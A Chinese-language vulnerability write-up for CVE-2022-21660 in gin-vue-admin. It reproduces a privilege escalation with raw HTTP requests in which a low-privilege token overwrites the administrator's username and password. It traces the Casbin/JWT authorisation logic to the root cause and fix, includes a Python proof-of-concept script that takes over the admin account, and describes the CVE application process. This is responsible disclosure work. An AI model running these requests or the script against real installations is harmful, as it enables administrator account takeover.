Gin-Vue-admin垂直越權漏洞挖掘與代碼分析-CVE-2022-21660
前 言
歡迎各位大佬們給該項目點一個star
https://github.com/flipped-aurora/gin-vue-admin/

文章寫完了之后,申請CVE有一些麻煩,不過好在還是申請到了,github的員工響應迅速。
ps:申請CVE前,已經提交了CNVD。

環境搭建
按照官方教程
git clone https://github.com/flipped-aurora/gin-vue-admin.git
隨后進入server目錄
go generate

go build -o server main.go
隨后直接運行server即可

隨后是WEB,進入到web目錄,輸入
yarn install
隨后等待即可

隨后安裝完成會自動打開WEB網頁


隨后初始化設置數據庫信息

配置好之后點擊初始化后登錄即可

漏洞復現
SetUserInfo存在垂直越權。
1、SetUserInfo接口越權設置用戶個人信息
我們直接來到用戶管理頁面,新增一個低權限的用戶角色。

可以看到上方并沒有給到管理員的權限,接下來新建一個賬號,分給這個角色組


漏洞發生的位置在
https://github.com/flipped-aurora/gin-vue-admin/blob/master/server/api/v1/system/sys_user.go的第273行

// @Tags SysUser// @Summary 設置用戶信息// @Security ApiKeyAuth// @accept application/json// @Produce application/json// @Param data body system.SysUser true "ID, 用戶名, 昵稱, 頭像鏈接"http:// @Success 200 {string} string "{"success":true,"data":{},"msg":"設置成功"}"http:// @Router /user/setUserInfo [put]func (b *BaseApi) SetUserInfo(c *gin.Context) { var user system.SysUser _ = c.ShouldBindJSON(&user) if err := utils.Verify(user, utils.IdVerify); err != nil { response.FailWithMessage(err.Error(), c) return } if err, ReqUser := userService.SetUserInfo(user); err != nil { global.GVA_LOG.Error("設置失敗!", zap.Error(err)) response.FailWithMessage("設置失敗", c) } else { response.OkWithDetailed(gin.H{"userInfo": ReqUser}, "設置成功", c) }}
這里沒有對傳入的ID進行校驗,ID代表用戶的,直接傳入指定的ID就可以修改對應用戶的個人信息。

首先我們用管理員的X-token測試修改ID為1的用戶的名稱修改為test1,隨后我們可以在后臺中看到管理員的ID已經被修改為test1了。

那么接下來,我們使用剛剛新建的UzJu_HxSecTeam賬號的Token替換進去,將管理員用戶名修改為test2。
首先我們UzJu_HxSecTeam的賬號個人信息>修改密碼 這里隨便修改密碼,然后獲取到賬號Token。

這個Token是低權限那個角色的,正常低權限的用戶是不可以修改管理員的任何信息的。
x-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiYTM1NTRiYmYtYzQwNS00ZWEwLTkzZjQtMzQ1YTRiNzIxMWYxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1MDk5OCwiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODQ1MTk4fQ.0vm9DA7RHOi-ZBN6p-C4RIjJS7Qs9kbXKLNpmc6nyDs
我們將Token替換進去,構造如下Json數據
{ "id":1, "username":"test2", "nickName":"test2", "headerImg":""}

我們將Token替換到setUserinfo接口
PUT /api/user/setUserInfo HTTP/1.1Host: localhost:8080User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0Accept: */*Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: application/jsonx-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiYTM1NTRiYmYtYzQwNS00ZWEwLTkzZjQtMzQ1YTRiNzIxMWYxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1MDk5OCwiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODQ1MTk4fQ.0vm9DA7RHOi-ZBN6p-C4RIjJS7Qs9kbXKLNpmc6nyDsx-user-id: 1Content-Length: 67Origin: http://localhost:8080Connection: closeReferer: http://localhost:8080/Sec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: same-origin
{"id":1,"username":"test2","nickName":"test2","headerImg":""}
隨后提示我們,設置成功

這是我們切換到管理員賬號,查看是否被修改為test2。

可以看到管理員用戶成功被修改。
2、SetUserInfo接口垂直越權無條件修改管理員密碼
在Debug的時候發現,在越權設置個人信息的接口setUserInfo中不單單只能設置id, username, nickname,headimg,其實還可以傳入password等參數。

比如我們構造一個請求,將ID為1的用戶名稱設置為admin,昵稱設置為超級用戶管理員。

PUT /api/user/setUserInfo HTTP/1.1Host: localhost:8080User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0Accept: */*Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: application/jsonx-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiZjkwNjRhMWItNzU2Yi00NTNjLTlkNDAtOWZlZmY5OWI2ZTUxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1Nzc1NywiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODUxOTU3fQ.rHCKW7c2kIsaCRKsgI1Nizu18dGKfsOH_m_dW59cY9Ux-user-id: 1Content-Length: 91Origin: http://localhost:8080Connection: closeReferer: http://localhost:8080/Sec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: same-origin
{"id":1,"username":"admin","nickName":"超級用戶管理員","Password":"qwe@123"}
此時管理員的密碼已經被修改為了qwe@123,嘗試登陸。

隨后成功登錄

3、越權修改用戶密碼
PS: 這里有一個前提,需知道我想修改的那個人用戶的密碼才可以。
首先我們知道默認的admin密碼為123456,這個時候我們只需要構造Json數據,將Json數據中的username參數,修改為我們想越權修改的那個用戶名即可。
首先我們登錄低權限的賬號,修改一次密碼。

我們會抓到一個changePassword的請求,隨后將這個請求放入Repeater。

隨后我們只需要將username這個參數修改為admin即可。

隨后會提示我們修改成功,然后我們使用新的密碼來登錄admin。

隨后成功登錄

漏洞出現的位置在
https://github.com/flipped-aurora/gin-vue-admin/blob/master/server/api/v1/system/sys_user.go,139行
// @Tags SysUser// @Summary 用戶修改密碼// @Security ApiKeyAuth// @Produce application/json// @Param data body systemReq.ChangePasswordStruct true "用戶名, 原密碼, 新密碼"http:// @Success 200 {string} string "{"success":true,"data":{},"msg":"修改成功"}"http:// @Router /user/changePassword [post]func (b *BaseApi) ChangePassword(c *gin.Context) { var user systemReq.ChangePasswordStruct _ = c.ShouldBindJSON(&user) if err := utils.Verify(user, utils.ChangePasswordVerify); err != nil { response.FailWithMessage(err.Error(), c) return } u := &system.SysUser{Username: user.Username, Password: user.Password} if err, _ := userService.ChangePassword(u, user.NewPassword); err != nil { global.GVA_LOG.Error("修改失敗!", zap.Error(err)) response.FailWithMessage("修改失敗,原密碼與當前賬戶不符", c) } else { response.OkWithMessage("修改成功", c) }}
漏洞原理分析
ps: 以下所有內容出自一個完全沒學過Go的,也沒做過開發的,只會Python的腳本小子的理解。
首先從正常的業務邏輯來看這里為什么會造成越權,其實原理比較簡單,主要是因為,我們在新建角色權限的時候,有幾個必選的參數,也就是這幾個參數,選了之后,用戶才有機會越權(但是也不能不選,因為這是默認的必選參數),其實最終還是在代碼上存在邏輯問題。

首先我們看,在新建完角色之后,查看角色的權限

可以看到,默認新建的用戶權限,在角色菜單中,只有一個可以訪問儀表盤的權限,但是我們查看角色的API權限就會發現。

這里有幾個必選的權限
- 用戶注冊
- 設置用戶信息
- 獲取自身信息
- 修改密碼
- 修改用戶角色
這也是這一次漏洞的來源,首先是設置用戶信息,如果我們取消勾選。

然后我們將低權限角色組的賬號Token放進Burp進行嘗試。

PUT /api/user/setUserInfo HTTP/1.1Host: localhost:8080User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0Accept: */*Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: application/jsonx-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiZjkwNjRhMWItNzU2Yi00NTNjLTlkNDAtOWZlZmY5OWI2ZTUxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1Nzc1NywiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODUxOTU3fQ.rHCKW7c2kIsaCRKsgI1Nizu18dGKfsOH_m_dW59cY9Ux-user-id: 1Content-Length: 83Origin: http://localhost:8080Connection: closeReferer: http://localhost:8080/Sec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: same-origin
{"id":1,"username":"admin","nickName":"超級用戶管理員","headerImg":""}
可以很清楚的看到,目前我們已經沒有權限來設置這些用戶信息了,而且在Go的Debug頁面我們也很容易發現,代碼邏輯,比如我們現在是沒有權限進行設置用戶信息的。
但是在代碼中理論來說,我訪問了這個接口,我Debug的斷點應該是可以攔截的,但是如下圖,我下斷點之后,程序居然沒有停止。

從這里就能判斷,在此操作之前,應該是有一個鑒權操作(常見的應該是rbac吧)那么我們現在給低權限角色組設置用戶的權限,我們再進行重放看看。


我們可以看到,程序成功停止在了這里,那么我想(go小白)應該可以通過Debug的方式,來找到這里的鑒權:)
首先Mac下command鍵鼠標左鍵來找哪里調用了這個函數。

然后可以看到這里有一個初始化用戶路由的一個函數InitUserRouter

那么繼續老辦法,Command+鼠標左鍵來判斷哪里調用了InitUserRoute

這里注意,有一個JWTAuth()還有一個middleware.CasbinHandler()
首先我們先來看middleware.JWTAuth(),還是老方法Command+鼠標左鍵。

然后來到一個jwt.go,這里的邏輯我們可以看一下(當然也感謝作者寫了一些注釋)

go中token:=應該是相當于定義一個變量來接收請求中的header中的x-token,首先就是判斷token是不是為空,如果為空的話直接返回用戶未登錄或非法訪問。

隨后就是判斷用戶的token是否在黑名單里面,這里應該是通過緩存或者用戶退出的時候來判斷,這個token是不是已經失效了吧,如果失效了就會返回告訴用戶異地登錄或令牌失效了。

這里首先傳給ParseToken這個函數來解析Token,可以跟過去看一下。

不懂jwt.ParseWithClaims是啥。。。傳統藝能,google.com。

https://www.cnblogs.com/taoshihan/p/15239208.html
這里是用來JWT加解密的,然后返回一個SigningKey,然后繼續往下走。
感謝作者的指點:此處將傳入的jwt token串進行解析,獲得jwt.Token結構體,然后從結構體解析出Claims獲取之前我們生成token時掛載在上面的用戶信息。

通過Google知道了ValidationErrorMalformed用來判斷是否是錯誤的token,然后再通過ValidationErrorExpired來判斷是否已過期,然后再通過ValidationErrorNotValidYet判斷token是否激活,然后就是返回了。雖然下面還有一段代碼:

隨后判斷token是否過期,如果沒有過期,則走到了reload,隨后我們來到middleware.CasbinHandler()

首先進入到utils.GetClaims并且傳入一個參數。

這里函數用來獲取x-token隨后解析該token來判斷是否過期等。

隨后判斷用戶的角色,這里的1234,也就是我們web設置的角色組ID。


隨后進入casbinService.Casbin(),傳統藝能,直接百度。

跟之前猜想的差不多,rbac權限控制,這里是連接數據庫,然后這里F7單步步入看了一下,勸退了,看不懂。

看注釋可以判斷,這里用來判斷權限
機翻: Enforce decides whether a "subject" can access a "object" with the operation "action", input parameters are usually: (sub, obj, act).
強制決定“subject”是否可以通過操作“action”訪問“object”,輸入參數通常是:(sub, obj, act)。

隨后判斷是否在開發環境,然后success等于false,這里|| 或者的意思,要么成功,要么提示權限不足。
我們來看看有權限后,越權的setuserinfo接口是怎么走的,首先我們在攔截器這個地方下一個斷點。

Tips: 通過百度發現這里用的是golang的casbin訪問控制框架
https://blog.csdn.net/qq_42015552/article/details/104013264
然后在setuserinfo這里也下一個斷點

因為攔截器在程序邏輯中在setuserinfo前面,所以我們從攔截器開始調。
burp發送請求之后,一直等待,此時我們單步調試看看。

此時我們的角色組為1234

隨后是連接數據庫,再之后就是檢查權限


這里返回了一個true,說明權限存在,隨后就是判斷是否為開發環境或者success等于true了,這里肯定會經過第一個if,
隨后就來到了setuserinfo接口

shouldBindJson 綁定了Json參數

隨后這里,應該是用來判斷傳入的Json參數是否正確

下面直接直接將userid代入了進去

這里的ID是我們前端傳入的,可以任意修改,所以就導致了越權


隨后代入到數據庫之后,更新后返回

隨后則是更新成功
主要的鑒權操作都在cashbin.rbac.go這個文件中的CasbinHandler函數,中的casbinService.Casbin()和e.Enforce(sub, obj, act)
我對這里的越權理解是,如果給了設置用戶信息的權限,那么默認這個用戶在權限規則中就可以修改用戶信息,然后在修改的時候,替換成別人的ID即可修改為別人的。
到這里可以明白了,首先鑒權判斷的是AuthorityId,來判斷用戶是否有權限操作某個接口。

但是在setuserinfo使用的ID卻是用戶的賬號ID

所以就導致了越權,因為這個ID可以前端傳入的時候可以控制,并且也已經鑒權之后了,在與作者溝通之后,解釋說修復也比較簡單,只需要將user.id強制賦值為JWT所對應的權限ID即可,這樣就不會造成越權了,因為前端怎么傳入,最終在代碼中還是有一行會將user.id的值修改為當前JWT所對應的id。
但是在業務流程邏輯中,這些權限又是必須給的,因為不給的話,當前用戶是沒有辦法修改自己的信息的。

POC編寫
#!/usr/bin/env python# -*- coding: UTF-8 -*-'''@Project :UzJuSecurityTools @File :Gin-Vue-Admin-Poc.py@Author :UzJu@Date :2021/12/31 11:20 @Email :UzJuer@163.com'''
import requestsimport jsonimport sys
class GinVueAdminPoc: def __init__(self, url, token): self.url = url self.jwt_token = token ''' define vuln interface ''' # Method PUT Severity High self.setUserInfo = "/api/user/setUserInfo" # Method POST Severity Moderate self.changePassword = "/api/user/changePassword"
def checkVuln(self): ''' 因為默認管理員的用戶ID為1,所以,這里直接修改ID為1的用戶賬號為admin,密碼為qwe@123 在實際使用中,可以通過遍歷ID,來判斷哪個ID用戶存在,不過默認用戶在實戰中應該都是存在的 The default user ID of the administrator is 1. Therefore, change the account of user 1 to admin and the password to qwe@123 In practice, you can check which ID exists by iterating through the ID, but the default user should exist in practice ''' payload_data = { "id": 1, "username": "admin", "nickName": "超級管理員", "Password": "qwe@123" } # Change the administrator password to qwe@123, because the default administrator ID is 1 headers = { "x-token": self.jwt_token } result = requests.put(url=self.url + self.setUserInfo, headers=headers, data=json.dumps(payload_data) ) if json.loads(result.content)['code'] == 7: print("[-]Modify the failure") elif json.loads(result.content)['code'] == 0: print(f"[+]Modify the success, Account: {payload_data['username']}, password: {payload_data['Password']}")
def check_interface_ChangePassword(self): ''' wait ''' pass
if __name__ == '__main__': try: Banner_2 = ''' /$$ /$$ /$$$$$ | $$ | $$ |__ $$ | $$ | $$ /$$$$$$$$ | $$ /$$ /$$ | $$ | $$|____ /$$/ | $$| $$ | $$ | $$ | $$ /$$$$/ /$$ | $$| $$ | $$ | $$ | $$ /$$__/ | $$ | $$| $$ | $$ | $$$$$$/ /$$$$$$$$| $$$$$$/| $$$$$$/ \______/ |________/ \______/ \______/ Autor: UzJu Email: UzJuer@163.com GitHub: github.com/uzju ''' print(Banner_2) url = sys.argv[1] jwt_token = sys.argv[2] main = GinVueAdminPoc(url, jwt_token) main.checkVuln() except: print("[-]please input url and token")
為什么check_interface_ChangePassword這個方法沒寫是因為,這里算是一個暴力破解的一個接口,因為在修改任意用戶的密碼之前,必須知道需要修改的那個賬號的密碼,這就像是暴力破解。
所以這里并沒有寫,然后就是checkvuln這個方法,payload_data這個json數據中的id,其實可以任意更改的,也可以寫成for循環進行遍歷,因為在實際環境中并不確定管理員的ID是否為1,或者說存在惡意破壞的話,也可以造成一定的影響。

CVE申請
CNVD的就不用說了吧,肯定也已經提交了,這里申請CVE的。
GitHub代申請編號來的特別快,基本上最多3天,這里是當天提交的次日凌晨就收到了CVE的預分配編號。
以下操作需要聯系作者幫你操作,不然沒有New Draft security advisory這個按鈕。



Description寫上漏洞的內容,復現過程,POC就行,然后點擊create draft security advisory。
由于當時我們是第一次申請這個,犯了一個錯誤,只列出了一個草稿,并沒有請求,導致我們白白等了7天。

寫完了一定要拉到下面,去點擊request cve i


參考文章:
Medicean——記錄一下代白帽子申請CVE的過程